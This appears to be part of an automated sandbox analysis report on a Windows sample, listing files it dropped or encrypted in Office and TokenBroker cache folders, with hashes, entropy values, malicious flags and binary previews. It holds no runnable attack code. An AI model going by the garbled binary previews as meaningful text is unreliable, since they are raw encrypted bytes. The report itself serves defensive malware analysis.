Preview:	.<?..Vx.T.l.H4..S!c..b....Z.t...=Ni....\R..."j...v.nS..#.........Vz.......Y=....P.No..H..6m.y.GF.@[.}.N..O..d.) ...p....1..5.x3..>^E\.{..4..T...P......L&{f..V...Nu....t..;.mA....-.8......#....R..6<...{G..B8..k..E}.%..o.(....;..aE.......\|..I..e.;..m...?D..O.SX..(D.....73.[...~4.X.."7LE..8..+..3..RnCn...R.c...S...~.Y.hj.I~.....8.......7mRzvw..=.,..\......X.`.<.Q...^O..7..y......./..5.u...6.X...&..]=y.uUs...0^W..`#p!..$]E..7....T....<...x*.....C3t....G@.5z .ZK...e.P.7b...ZC.w........\|..[[v..@...n..'\R.........W..aw..Ze.5f.'{_..>{..^..9.....w.o......Q1.]..p..Q.5/.j.Z...%.._....R....D...d.......N...Q.U3...Hd...r.O...IU.@8v..Nn...q\0.DJ... G..."2..ck.:..~:a...w......}.9..P7\|...:.Bw%.3\.+...c.d.[V.....df....a1....^.Y..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7251726220671655
Encrypted:	false
SSDEEP:	12:9yVJqX6+8kM+NA1y4pVcPFMKfHvOoBAOPXGyI7KDElbVLij2JAqE3jGZGfYpsY3X:9F6+83D1ZV6M2vfpQ7KaBnAPjsGfYpsw
MD5:	2688C25069A48952D908FB67E8FB637D
SHA1:	C12E37AFCC78648F68A9E1CED0850BA7FA0E16F2
SHA-256:	BF283D66C6A3BEFFD07FCF4879581B994EA7F1B3CBFAC97B66459BA2E716FB5C
SHA-512:	E5D75F6A4744DF4AF4413F6D95E3559B60A08C76D1DEC153D4BDAFB7C15FC1326B4ECEF2CA44926DE81B1CE28C210A182296FCB656D21B740492315F7B30E484
Malicious:	false
Preview:	.<?%.)....B..n ...._.7.@..(=...E.J.......e..]..h~.[.[...P....!...`.7.h/......z>.$h.-.V#.-)..W..&G._....ML..9..!...b....yH...c._r8..^A`E.....e}..-..?.$g.3.n.....5...0=.5..L...\|2.S..O...6..tR..9.G.L.x.Z:z.<.><..&Rz....X.fE.+O..p.. ..h.6.M...T...@...M!ss].;...7z`...-......#..wU.}...Oo..w..n..l?...P...i.B5...............!.R..'....X..A.i..-C.V!.g5..F..5aX.U..P.W..f Jf.8.F;z).=a.{l".fa.".....E.6&%A..F..JMc!..A.f..(....%.^tbC.......y...n.'.../5..\|,:...].9..q.Tq..e.}..H .\|.s(.O..56....Q....!..c..=a.!j2v...6.....}..S_.Eb..;......mi[.....*..?4....:....VK.q...8..Z$..7n..>L.M...."FD0.(...JM.F....;...I.....e./A...Q..F.b....FCZ4y.$..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.724824885654519
Encrypted:	false
SSDEEP:	12:OlzcR+P1ZPL1c2698gf3PTD7hnuwdOXUANEF0QahhahN5ywVQGOcBOWSzVIX9M2X:wTPfjSJ8gnTneXUk3hhaZy1bCBz9pbD
MD5:	D99861E37F509616414D53DDB1C6E9DC
SHA1:	78D5C6DCD9E2CDDCAFF43D31E9E0BEF514959BF5
SHA-256:	BD138B7D84F31A70E799B2AAD311F456B1FB8D50EF0D556289E9D228B0A28FEC
SHA-512:	C88AB7581A13DB72558F85CF649709F15A1B04C60E09B7950A81852E1324D203FD5D8BDF64B768E1C9B678CDF3196F6666993A109D1F181255DB118AF0EF8E0D
Malicious:	false
Preview:	.<?.c.I..........g..RQB....6......~Bwpd.'.\.f.zq..V...!...,.dM.......~i....5WN;.....'C..m.P.!a.....s..P..z=.....1....~cu.[.....a......y...+.x.o..G........B.....N.....(....[.f....w..m.X.k.._.....U._..g.;.U%.o..{.=...V.y.p..R...........D....r....P.U.PI...,........M......3~...B..iA.n._.Y..t.?v..{H..uq....D.M.._Y.. ...j..U.h.R.Ya#{f.....6.F..v.O.YlAn...K..N..@..}.wA...=...8.@.............J.++.5..ejb4qm.........t.[.I....-...t.mL.....p....S:.^".S.....A...J .j..O....[.....Dg..b.`5..l...\|...i.8..-...L.. .pt#~Hh.Gd.L[j.q..U.Tc..p....~... ...H..#G.@..Ks.#`Y\?[ee~HB.2..I..FL......t'%.*....2C'..If....9.+...t.&.=.....6....7'G[.J.#..........7..........P,V5,..+NP.......q.T..Jt{.Y...".....P.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.722532240424465
Encrypted:	false
SSDEEP:	12:m0Lsn7vc4tG6zmvT+Lvvw6YpEFt1hi+Utw/ooQYaMAPv2S3BPEmcs439M2cii9a:m0C7dtG6zYT+Lw6YulhctSQR2S3I39pX
MD5:	F2460ACB769E3C06B577DDD78C4CAD77
SHA1:	0977FE9EC29DE4A51A945F5E94D083799CBFFD19
SHA-256:	6D3E2F6AF8183A08AA96484DB26C15B1836CBF5A8405DE88698744B51C15485C
SHA-512:	8C465AB48AE751E780CE05D6C4AF25A30751E776B5D56F91B792EF6E854711EAE443887DEA22FF248DC5A1795D3BADE19DCDF2AB3FD8168469D4D307DA6AAACA
Malicious:	false
Preview:	.<?.....2..qx..x...t"HL.>;..@[.....+0.0.....4EyH..-...{....~.K..J#.u..iU....=..;....{.UV..!.)..e..~..i ....Y.P.~.^?....^.CS..)8K;.$..Mlx....}B.t.......np.m...\?a/..?..g-3i.#:.i/.'..I..wj..n........,...z..>l;......-.~F.e.Qe.."..i;...7...c.&Hw..5.HSQ.{..H.c....s0-.^.......4.$\|..D.....[..sf.(.......R...U.\.6W.-......n..S#R3..$.`.......o.D..1.c......Q...tO.S...SQek].Ns.R"........-.U..'.G.U....]aD.....0..2.b.M...w.aa..vK...FO.:..MF}y.....K.=...y/..!..,.Rl~t.B.a..})]u.....U.[...f........'..Ta.>.&......zc3...@$...X.D8..1.....+ Y.L. .N...x.P...~%....!$...A.^...E..I6.I..F......K..-.`P.c..~..oY....uy....K..."...%m..k ...6... ..../....cxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.771467198821457
Encrypted:	false
SSDEEP:	24:omho/YzNmRf3sRlap8rczVqwBAKenRB1Ei3x9pbD:diWu3oamXK28ibJD
MD5:	8E6B060C8A1827A3346DC00106B1EF0B
SHA1:	FDC192045CA6339A4469847C582E71E63D2E7628
SHA-256:	D4BD7DCCF024737BE0664AFBCAFDB1B0FFED9882E7C11A7171010209E7B038FB
SHA-512:	B82B1D63766289B0BEF5D31E076DFCC091DCE9F24AE0480A857A8B415B9440346BF8A7753214CE0D5BDFB5319949DD4C69057F81DED00F7F45965ECDC51B3DFF
Malicious:	false
Preview:	.<?n....h.-...Mo..<.......,.....w.@.....}-b.e.)...3..N1.........+...C\|.c-..A....!w...i....zEv......>...X..%.T.$_..Z...&.C.../e...g;.`@.U.xA.S(.f.Y....G....R...[..X.#.Q..r.d....^..vs,z..s7.6...Y8X...f?pTn...a..aK.s.@..Z..<P'..W..-?\|..z.........CT(..GJ1..e....T._u..]P...W.W.d-.......~!.}.-.v .......</.6........c.E~.......f..,j..2..\.D.H....rTd.....>....V..q...~......S"[.Tl.....\|..]M6.{.L4.4..k.......q.........\.L.i:....../.k.+.Q....V........5r...0. ... ./....#j.....o....QZf.N.}[..^N...7V.0...A.>...S.Yx....W`e......a..[<._.bG.u..A...CPK4.h.g....J..8*@.\H.Z.\H..y.....2.....l...pZ.Y.>"..k......V.4.Z2... ..Z>......F..A.O.......[...._S......X2..I..RaL....&.d....S@Pp$...u...@R+3.}.H..@..o..\|...i.....;.o.k\.(..+-..z.G.]xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.819590423237747
Encrypted:	false
SSDEEP:	24:dFRgyYAzr24T8LcUnR+pkvDktI1be+1beIgFqG8Q7dQwDSWiqM/T9pbD:dFRrYA/24T8LcSkEXjUBZIWt4ZJD
MD5:	7BC3562141BA068AEC56BB93C149D5CB
SHA1:	AD4F2A4C3C4D6B293E776F1880D34C252FA63B5C
SHA-256:	CA3438AFED47F3A8E8CEE438FC1738D51D12CBD8B3054B2DAFFE593D41EA0E2A
SHA-512:	799D8B8BDC68DD1D11F6425274E3428DB3B15149E22741F41FE61D5EEFAA4D239C1763355F4E37D6186750A7AB25E01F163B670C583CBF7A933244D43CD183FE
Malicious:	false
Preview:	3.7.4R...tOV....k.."...B1y..&...7.d f.$e.w.....).....vB.n8i.1.&.........SL.m.8....j...kj....xg.D..y.S.....M....YZ.!..76.D".Z\R...j.4.[{.#...I..v.p.b....j.......F.i5t.a.&..O;m...[.?......I%...0j..Dw.g+0....7.........,^T..b..7.W`.FS..t.ig.]S...=.'ZF7..C......:.".d..@...L..\.(V..ac........R..R....a'n..H.td..p.....j..]p}S.c..5C.t.n`.W..._<..M...L.~.6m(..2.;;.d..\.e.U;..UE.%unp...#"M..(I%..2.~...'..j..[.q...N]y.@...D....[.~.. =.E..kh..#.Y.......~.3.O...Nm.Ws......S0.i..F{%....J.P#..z.....y......l...4l..V..+fG..v..wK...gg.~ $....K2.tYkG.........sJ8.,.X.k..s..G.<.O....G....g[A..W.MeoX...r..)w..B.5....'......9jt.c..p....f.r...4..s...>%..i..`...........%/2.ut..zC}(.....$.>.-.R.ALcR.7L<g8.e.....@.w....G.:...~.....W....e.e.G........U.....I.:.(~.V0Tz..0.x...o....s..`..aUm......j.:....6Rq.X]..!(..J..q.A.e.Hm.:....s..[....9~Cv:....j.Q.o...V.2.....\|O...\|.pW....k...p..1c..9..rC[.g..N.zN323.ro%Q..%.....X.[....V[...R7.....M)...0..1J....#.9.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9919772057819705
Encrypted:	true
SSDEEP:	768:a9W0P7FDoSmmf/HTZpbq7rWFuZR43VC2j:8W0BDtbZpbq7rsu74lLj
MD5:	5DED35301A79234CBF4385C815D4FFEC
SHA1:	12C5231F71AC805149871BBE90C8B29912E5E76D
SHA-256:	F1703C3F8AF8AD18EE4FCFF4E6F0A4C55DF14DDA29DB64ADA8A61F13CBF4B108
SHA-512:	DD7961F5F7DC14B1DC10865090621988172AE11A6C105048D661A90A7AB6CC186321B3FAF42BC07FB7A43D33AF261AC543A9B044492C955994DB20FC729AB54B
Malicious:	true
Preview:	SQLit..pV&[.C.D..[......A5...D...t....Wt. ;,q...\|..zS~7.G../..H..?.E..p.m....-..mt0WR..2.e.]..........K.LV[..fBE.%...n.....84... l....J.......:X....q........6W.ma_?.........2=0.p.J..w..i.......d"7%^.9.{.D.:...c.B.~....J!.&Xb.-oQ...aa.........._0...#...,...M!@.A...4].o....Uyg.{.1.........b.m...L...(s~U..7.I..o....(1.]{..~T!.y[...,oFcP.W61)..Ia.ceo.(.i.....(W.....$...%.&....I...x+.B..Z2...&.-...7.m..3.3/...m]b.RxF.W..2f.eV....e.C...~%.W).O..[T;O..a.K..@..#k...h....G.......".l....s.J.G:.U9]..q._....H....d,#V.6xPk..T....pb.C.i..d.v.?.....ed.?..m....].m.9.p.._.1T]C..zW7jS/....LM.(6h9.......n]w3..b.QWW.m.y....x...WVf.U...X..&.=e....c....>.xH}.n.....(^U\|VJW{...i..$.)......$.14{j>e...C..3U..u.s...5..PA.{..HT.......2..+../....[.!.[..=...6.~..CT.X..Y4Z...6.A=.Rs..+>.".x^%.).q.....\|b6.8#.ke..R.\..Y.......>h.U;u.2A.\|...g..8.....^Gc.MU]..6p."..)F..&.........q.@..p..`.....)....a.to..a.>..9..'EX...dS..g.....R.....'.e.4.8..".Lu\|.....j....v..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992877218013035
Encrypted:	true
SSDEEP:	384:0CcqBn/UJYakA9ntVVR4frt9rkKgJtHa6/0xwitrpHLZ5W78q1T:0CcqBnuVFtHa/oJ5ae3e9t5/qZ
MD5:	ECD708A3E4CF0381509E4C9A60963F76
SHA1:	678F57D5BE4D6EB2B906DF314AA05D3B6A276D09
SHA-256:	28C9EEAE1084322871B057FE42D2353A79DE1368189ECE8C803F3A543EE0E2C5
SHA-512:	62B081BFC959223B93EC723F4F3FC42F6DD43FCF93981AFCB3B3DADB72806F4BF634E6087AE262F35CE908C34E50DDCD9F104E15D14F7AADFA8577846563CC63
Malicious:	true
Preview:	SQLit..)..h..h......e_L..O......h..O^........z(.^j..2.a$jL....D....nge-.H{i....?M..\.,{.9....Y..4.QR.,..Q"S....w25.7t2. ...l.. <..Fw..q.."9....e.V.U..M@....(1vH..P!..4oy...2.....4.`\.G.BhpO.;.....A.i......=.i...M.....!.DV.+:.5.!...k.&.P.......eW.I.....E+nu../.j..5.z.P.!O..C...Po.S`.3....Y.l$o...M1...hI.....5..*..;....k..Ze.d.Z..ZN.S{RS....E.A...).%.b...>.J.........Q...&...v.]..E..>..8TO.Z..J.c.M"?....N......./..3"cY.w..N.}z./..)...}.:...<..97.A...=...E?%.......U..J. .AJ.....i....L.?.) ....&u.\|.r..e..\....c.=:'X5D.".s.......4M.....Y.p.V.(.jq.4....o_......\]..k...K...V..:.......B.L..>i....-\|C.V...A.G(..K.....B.N...{._%.{?Bx..,.Od..o..5...we.,..+...r#oA.....C.......Q...FX.N.&'.s..d.!I.2j?H.....E.En..`..-..#.E....&.0SH]@..L.<.N....X......k`...#.($.1.I.6....M.........1\...Y.!...Ed._..!x.9...<.Z....,......n4....O....]."^....O......./c.j...S7...B.4.~...O.O......a.... C..4k...u.ztF._......!.>.......1...Y.~.rUO../..M..{.p.2\..H..C.._..;.`...:

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993945390672127
Encrypted:	true
SSDEEP:	384:SWLJ82PXomPSD1rm8SBuAhaC0dinYquUm3ZCJrAbp3Jb2yun9E9FzIsm7oM+qK:SWLa2gLrXSXOinYqu3Zz5yn9E5qK
MD5:	BE123A4459494F8F2ED8D788DA0C6B8D
SHA1:	23B99710DC12BA43BB98360CC1960F94A14BEC3C
SHA-256:	88FAFDFD2EEF0BC8F9A5B7E5C2F0B28325B52656F7F37D072E66BBD5A1B74CB7
SHA-512:	C2A3BED0C5C5880B8D50268D8C5DC954852035BAF73A6A6F703ADDB2BC50E6D5C511785EECEEDB87C117B2E4121B477F63868F69E9DF484F6FEAC826E8A834E2
Malicious:	true
Preview:	SQLit.Mo.'z.!!...VzT?.U.hO.G./.}.@...)>.m .[....M...Oxy...............g...H.K...wy[..6....F}~..%..<.).....,-F.......-....nA.l.P....71..,.pW:..."9M..8.\|).H...Q...J.Uw'...t7...%\|...+`.\...<E........F...R.d?/sm@P`...-..B..8.i....I.`rVq.w"1.xwK{. "...k55g.[l.....J..X?7s.1C.5R-td.c.....B\|.3..6;~.L.eFL..F.1..v..v.d....tu.J..Va..^....U........{V.gLP.?"..z@]..,d.d..Mq........>....y.8.%2...G\|..3.60.RR...O_..8j..t0.>.?.........T=..l".G..K......w.Q.`....f..h.b.2&v..G.........^...\|l...Ba#;....!^.g...Z.....8Ogf].V.}qy.J....R..2.lq!C..*.....t..p."q..}.s.OA...k>...-..g.....'......4U&%r....pE....I=.....A.[..Q...r..U.G7g..q....z..}T.....r..n.L.j.%O..FuU:.@....+2g.....8.D.5?Y..r%.R...."...>y....N..!"T=.{.... .<OV....G>....}x.&......39.J.r....@.W....%..>Y....)-.v...S.N.r5#.........6.@.}...%.xKB.[...&.y.O.....zc.&.>...~....<.h.e...J.!..mk..[..`....u.`..V..U.3..%.F.~..e...'Qy.2.....X.N..sW.F........?....}....$.M).....6.. o...L.....X2m~#.64.............

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992806930840939
Encrypted:	true
SSDEEP:	384:FZSsmra0+YhyrnZJbQGRN6CU8+opOioIZmSfL5RT8vLTV8vJs0ka0GmH:jmrUxnZVN6p8+oUioYDmJMi010xH
MD5:	DB9C17F211A80F0AD7C37F990DE33AFE
SHA1:	6FA4CB8BE84BC52BC195B3D0E24A0F0EA4B93D5A
SHA-256:	194B42C7846A1904DDA103A67D3F3EB70C2F890CB65AECD6065488AE3D3BA71F
SHA-512:	E6DFE3C646D8DE4DA47B6D24133D5D2A941724C22AEE3E4557305E66D5BC122494E3E8C964076EB823B240E7194C527CCC70BF0A009CE1CB568592F0F0336A24
Malicious:	true
Preview:	SQLitb..[.G.o.6....m.O..w}...~.F....:Y1...B...J...p...$....=....'....Z.?....n......t..(?...u.v.!...%......8Y~y..K8.......G...UV..,.K.u.a.r+U..&qQ.Iug.u..eq......M.hj\.mt..a..B...Y"....j4:$&..w...M..-....`...~V<^...:...Up......z#X.`.....Nm\......j]......m.n.I....$.W..(.kd........@.6n.}E....z.%m.p@L.\...h<.........{..-3.b..Z..f..s.s=H..1..T(....y.. $...K:.#.E..>.]L.m.....$...U..W.o.......K.l&.N.!8..H.xp..D.d...w5....`..C7X....?<..-.P.\..$..@....2....u$.I....R.].;>..."f.1.c..s.VcJ./}Y.......?8...>{.[K.>.j...Y....j3f...e3..9.NJ.cae...1..........:.E............~...'...V...znk.q(C[...._..E..D9..u...!y^....XE..nX......CM.k.....t8....^..EO?..'.v;...oY....^h\|...~...m..[o.Dy.....<.b......Zs.CX....8.7..y..D..'.:.r.{U...U...u..-.YG.....[...XDS.~e.p.{V.{;.9P<.@.@..;\7..\..n.\....k.._.h......%.-..y......zc,(......).xT...T+....3....D.Hk.7....r... .......E...G.s].Tc.m)..<..T.n{.g..P.P.t........0...q.XI........s....3\>2b4...=jWo..s'...m..wS.L.....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.92784273693563
Encrypted:	false
SSDEEP:	48:pm5sYZIqg/sEK3Jl8vzVbXXjlxmivfp9x+Yii9Y0iLoz6sGqqgukpZ+JD:hgg/sxD8LVbDlxrmIcLoz6sGqq5kc
MD5:	138404DC1E3DCB1EE71A5153956EA278
SHA1:	4760F41F3B76A82825E83A69E50CDCE86590B412
SHA-256:	70E6A7C76408FFBC68360B9CF2755CA7767A885F81A454E2ABCAD9EDE575BFBB
SHA-512:	891E7A0DD7D632E0FAE11B1D1BBBC3A53482CB8DD42F4E2F4F13E52A5C2C2148510F473C5406A6F516A675606BDC26B29E4BE65B3D4562FC083A7A8C5ABA8E21
Malicious:	false
Preview:	{.".T...2W. .......#P.A7&>.fx.F..6e..gez....0....V.")9..T......8..I.,.V....:B...Y..-.......I.gq9..D./..H?G...#...z!.U...zy.5Z.K#.i....'.INz.,....@c.3..Y.6..P#?.?.S.D.(!....k.<4.)D.h.u.&.AD j.0...9`......g.v...J.,f..@.`.Q....<W......(.q...z...;K......8w#..'"o'.;..._...\=ZPe..........o...E..H".GY..hY.......j....xR!MZ7.R..W.H...../..s.......z......:.^\..]..........m7c..mz.."...MA..a..;.L...\...a.B6..;.Iz.V.Hf...@...-.n....5.T.....1\|[c=A@..p.&............F..F...:...Z.1"....:@]/..N.."....7(..B.}.k"...A.QNal..o..R.P....m.1T.om`or.:5....'..B..L..(n.i..;..1;:.5v..v.c.!..PXS1..to\....U..M..B...Fl.?`...nH...."e.&.....9e!...X..n...FIz.UI....FP:.....~.m.l(.,...k.8Z..A....3..50..L......$..gS...#Cm.1..z...P3...aX.....u[.. .<.....l.S..+..........b...%.....=-..p,.-......J.#il".4h.^..0F*L...@...P}\....w"..b.K.D"...}.k..Q5r_EFV.'".A......P...:/.Q.K<..6b...........HE}..j(.z3~.z.3...C...}..L........QK.+..O..u0.7.9....V.z]._......?.........[.} YZ?..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.921145849414748
Encrypted:	false
SSDEEP:	48:L37F9SM7LJdc5wB16jMpM4TZ5/Q+Hv3kZYQbJ6sNIBRfMQ12O2ZPfRqaQxo+z9Zh:r7FAM7tdcOB16zYZ5/mZYqJ6YIBeqF2Y
MD5:	EF21814E205371E3A491BDB594BC9B3B
SHA1:	7F679CF9C04051592B349633C39F55D9C27F8672
SHA-256:	50AF399E83636FABA5ED0940D0967286A9831696E9B3D988388A43B7BAFB9664
SHA-512:	099935C28AD7617739B76BD0B6B5CD9EC71398D8A7A6726AD0F3502C13B454C181E01DA00DCB44B1E4A64BEBA1C2CD6DBD11216D9A091D21645334E949DA34E4
Malicious:	false
Preview:	{.".TG......2..9.JI1U.(..7)o..l..\...;...KA....jx..VyLrj`.[....\|.0".e...bR.=$..}&....,..'>n.6......p.R...?.. ..<...}-8.CJ.t..B.A.%.m..0.'k..q.)..M/.&....m.XS..8;.zq...,.....QC..H-.5.u.....].B....~....."t........q.m.........9;.\|.AQ... .....'z\|..=Z.+..hTh......H_K.....I.d.K....._.h/l.;Ht..[..}.[#.:.F..).K.....Z<Q$dT....Q......E..R....eO...JZxM.v=.do.........x..........^.BK/.>..hz.......h...vT[....7.y...A.........I.J......j...dp...../{.qZ...Vu..CK]M6....Z.}..D.0..^.....0.\|.:.b S.o..%......'I...@..].D....6c.).6......u$>Ef..S.....9j...%r......R......A..p#+.S.LK....&5.......E...1.....X<.&[;.A.i....O...a..U....[.......&.......f\|.F.70a.I..}i.).^.9.....m'...9...Hm.k..<n......?..W..b.23K..i...6T.b..=.!....r.b.......&.29f.j..3kD......n3...OS..X...C.e...=....5b.....3\...^..h.7".+!-.8.....OWHZ....h..~......k..YU.:(Q...]Q....m.t.hB..Zo ..'..Z..%...G\|..(.Z>..S.....-.Zf.\|.{..7}#.`(..S...{.g..G.W..,m.$r......>.Q..<.......'.CMN....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.938302217597667
Encrypted:	false
SSDEEP:	48:a5MW7mnf9/2fOKV+kRG37+1zGX6EJPMxbeycHs31f8i47SKc2W6CtWed4AUC4QNf:sanf9/2fORkRC27EJ0xbey0suHSKc2Wx
MD5:	8C68139E10BE3F1252E40177A78C1CF6
SHA1:	8D43A34D6F55F7F870C59FA03A504561369D398F
SHA-256:	7A568B397B593AA4F5ED0B775E3E88922061313639F1110D64DFF52670CA95FF
SHA-512:	1F3BF3503D9B2E0F4B8510FDB77D7D51CB35CC2C4CCD5896F72935804BA606C3AB38231038A5C320118A927C34B46B9154B06F38C5F56050D95F57027D3A58A3
Malicious:	false
Preview:	{.".T.A.X>D;.3..nd.J.'t.$jL...sD-.........Q.?.r...L.o...2Vs/'.iH.t.....f.#i.-#.fJi-P..I.g..+9..c.....^.L..3L.d..i:.....$K...c>.0:.T.$..4{.[M.........ek........@.;9..}:..R.....r..]..=......?..D......N).t.....L+,Ii.....D.f.m.....!..5.4...x(.B...!......X...2...R..R..^k.m...\|!...........P"r.F.kd..B.6....6.&[.E......KR.eHUu.....v+....w.......]a0..<..s".<_..F.G).G_.{..\..Z..2[....!.....U.......5..#r.....y.6..eV.~j.\..o..b..Oo........./......r.\.,M........R.i2...8iA8....l....+...:PL.3..U.u....ur.....{..~.j)l.mF&...8..kJ.LC.5.%..,....f..c..zk...G\|\|.[?..s.!..)_....HO..;.... .....-PpWX8}K.f.%;..z.G.&;x..t..\A.......pF.U=. q.=.R.w$...G....p..ye].d..7B...+a.D\......\.(.P.@..4.j....S;4.b.....f.....1!.3..x...+.....6.Y.M=.......c..dx..c.G.....$N..dQ(.B..Nw..8..bV./yX..UdA...u^......{'...y.5...C.....o.x.v..;.Su6B....WY...Ru.k.V.,...0.\|....f.....H.+..I.yN[)..PE...l..(.<K.,4E..)..Tg.w.P..e.7Z...N....K.Q.Ji0.....uN.....z.'v...K...i.X."2

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.919483452009586
Encrypted:	false
SSDEEP:	48:NnqsEljalj2brZp1Tuqo6zaDcr6RbF2T8VVGyUXdGAlMP6zQp3rfgJD:NSoGZvTuqnzYcmRUTyGKP6Y7fy
MD5:	D5F3874AC832A3CCF130EC04761B662C
SHA1:	815D733DA9F987FF7DAE263BAC52F478436F0754
SHA-256:	9CA9B17C7E6FBE95EC88EEDE1E5F520467FD8007AD99FF00B63BD4EA80E3476B
SHA-512:	859C1C7531FAE32734D45DA91E12BFBDEC14C2A82A4047F1D8D2F56EB04C882AEE2002DACDD2927644EB0A494ADD0595D1B3DB2BBE6BE7127618473DF31D0ED9
Malicious:	false
Preview:	{.".TV71.sN0...YfQF...R..jU..D+.sn+.....gI^3... {....W...1P......b.....[H....4V...y.zY.vJ._O3.% e..r.1.........v...C].o.q......P._."Z.pq..x...........0..M6..,.gx........:...$U..s.....;T...u..1.+\|%..............e..=F'D.mp......dx;a<F{.v.B.T.T..P...I..S....&../ s.."... yU,..*MK.......\|.ez.].!..Y..<Kz....y)..3c...`Bb...!`Iq.z..g.....~..z}.....@..i0j...&a.D.L..j..{y].+..%.mR!b.........1#6.(...`.f.pR_...D.._..-..#f..4\|#.Y..^......R......nR$_;._...ob......t.EF9.....}.v%H{."X...Hg.N.9].O.r....-.Hw....t..N..n.#m...O..^.q@{0:.w.'..C.Ix(5.......&.W.30dvm .{+!...b\x.T.5....W.B.....B...e....>C.H..:.t....j.T....).'&.G...`.y............&.yOb...`.(.]..)z.p...K.v\|.1v..h..)...K..AhwE..wSn(.xe#3..}gb.x..:...0....c.ae'.c.TK..).%...G.>...@..(.(A#..s.m..C...3..&..j...}c..F.W0.^1cP.E.....o......W.cv{..0....If9...ve\...Zx/.....i........t...+.H....M@.c....l9...vx.r..ka.,.O)y..q.<.....?.!.Y..=U.;i=..&.HM.7.f.mF..:t..o"..u$hn....Crks...#\|%..f.u...Hs.B.7.(.~.".)

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.965241026533866
Encrypted:	false
SSDEEP:	96:6E45cpZCb+lUPGKFcDx4QcbwGAhHDS1ksKIJcfzht2NZp5:6E6cwWUPKRcdkH3SsAB
MD5:	4A288963AFF69914AEA832EF35BF50D2
SHA1:	5125834E703BDFDC389E4B4DD95BAB0065E1FF7C
SHA-256:	8C36EDA43E317B53C6A8E7E263615F8A1E49F0D84B22FAD6F398C4705416CFFE
SHA-512:	E0B91B891C9BF89492F7A473A9356E2C5E4A7DD31A1769101640906E39C8ADB779A2FB3BF097459DDDAB067AAC7403B7D3941A411EA4309EDC57DB95581EC98B
Malicious:	false
